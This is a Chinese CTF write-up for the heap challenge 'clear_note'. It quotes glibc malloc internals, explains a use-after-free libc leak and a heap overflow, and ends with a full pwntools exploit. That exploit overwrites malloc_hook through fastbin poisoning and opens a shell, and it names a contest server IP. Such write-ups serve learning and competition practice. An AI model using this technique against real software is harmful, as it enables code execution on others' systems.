dc010

在现场打比赛紧张得不行ORZ。

基本逻辑

主要功能

add函数从ptr[0]和ptr[1]中找到一个空闲块,分配一个大小为size的块,用于存放信息。可见本题只有ptr数组中只有两个元素可用。

add函数

show函数输出信息。

show函数

dele函数很神奇,如果对应的dele_flag为1,代表已经删除过了,直接将指针置零;为1代表还未删除,调用free函数,并把dele_flag置一。这种方法能够防止double free,而且所有指针都只能free一次,之后的就只是把ptr置零。

dele函数

一些知识

  • 正常情况下,fastbin的inuse位为1,即使在释放时候也不会置零。其他类型的块都会把inuse位置零。
  • 但是当其他类型的块释放并合并时,合并大小大于64KB时,会调用malloc_consolidate合并fastbin中的chunk到unsorted bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);
……
}
static void malloc_consolidate(mstate av)
{
……
do {
check_inuse_chunk(av, p);
//nextp为FD指向的块
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
//nextchunk为地址上相邻的下一块
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

//如果前一块空闲,合并
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

//如果下一块不是top,当下一块空闲时,合并;不空闲则把本块的inuse置零
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

……
//放入unsorted bin
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
……

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

//下一块为top,与top合并
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);
……
}
  • 另外,在_int_malloc中也有对fastbins的合并:当申请的大小在smallbin范围内,但smallbin中还没有初始化,先对fastbins进行合并,放入unsortedbin(还不知道如何在应用层触发这个条件);或者是申请的大小在largebin范围内,判断fastbins中是否有chunk,存在则对fastbins合并。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
……
}
}
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
  • (与本题关系不大)当不能直接触发malloc函数时,可以通过double free触发malloc_printerr进而触发malloc函数,函数调用顺序如下:

double free时的函数调用

​ 另,在unsorted bin非空的情况下,malloc时会沿着unsorted bin寻找合适的块,如果能修改某块的BK指针,使之指向一个不是chunk的地址,同样会触发malloc_printerr,如下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main()
{
char *a = malloc(0x100);
char *b = malloc(0x60);
char c[8];
int i;
free(a);
for(i=0;i<6;i++){
c[i]=a[i];
}

c[0]='\x30';
//修改BK指针最后一位为 0x30
strncpy(a+8,c,6);
malloc(0x110);
}

漏洞分析

当第一次调用dele函数时,会使用free,而且不对ptr置零。此时调用show函数则会泄露出FD,即main_arena+88,进而泄露libc地址。

此外,add函数中向ptr[i]中输入info时,没有限制大小,会造成堆溢出。

漏洞利用

泄露libc地址

ptr[0]要求一个size为0x100的块,即指向大小为0x110的块,ptr[1]要求一个size为0x60的块,即指向大小为0x70的块。第一次dele *ptr[0],0x110块会放置在unsorted bin 中,FD指针指向main_arena+88,由此泄露libc地址。

覆写malloc_hook

释放*ptr[0]之后释放*ptr[1],由于*ptr[1]是一个fastbin,释放之后不会与top合并。释放两块并置零后,再次申请0x100大小的块,并向其中填充数据,溢出覆盖掉已释放的*ptr[1]中的FD指针,使它指向malloc_hook-35的位置,之所以选择这里是因为如果把这个地址看作一个chunk,size字段恰好为0x7f。达到的效果和fastbin attack一样,再次申请0x60大小的块时就会将malloc_hook-35分配出去,实现向malloc_hook中写入内容。

malloc_hook-35

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='debug'

gadget =[0x45216,0x4526a,0xf02a4,0xf1147]
debug = 1
if debug:
p = process('./clear_note')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('39.107.67.157', 9999)

def add(info,size):
p.sendlineafter("choice>> ",'1')
p.sendlineafter("size: ",str(size))
p.sendlineafter("info: ",info)

def show(idx):
p.sendlineafter("choice>> ",'2')
p.sendlineafter("index: ",str(idx))

def dele(idx):
p.sendlineafter("choice>> ",'3')
p.sendlineafter("index: ",str(idx))

add("0gur1",0x100)#0
add("0gur2",0x60)#1
dele(1)
dele(0)
show(0)

p.recvuntil("info: ")
addr = u64(p.recvline()[:-1].ljust(8,'\x00'))
log.info('addr:%#x',addr)
libc_base = addr - 3951480

malloc_hook = libc_base + 3951376
log.info('malloc_hook:%#x',malloc_hook)

dele(1)
dele(0)

add('a'*0x100+p64(0xdeadbeef)+p64(0x71)+p64(malloc_hook-35),0x100)
dele(0)

add("0gur2",0x60)
add('a'*19+p64(libc_base+gadget[3]),0x60)
#gdb.attach(p)
dele(0)

p.sendlineafter("choice>> ",'1')
p.sendlineafter("size: ",str(0x60))

p.interactive()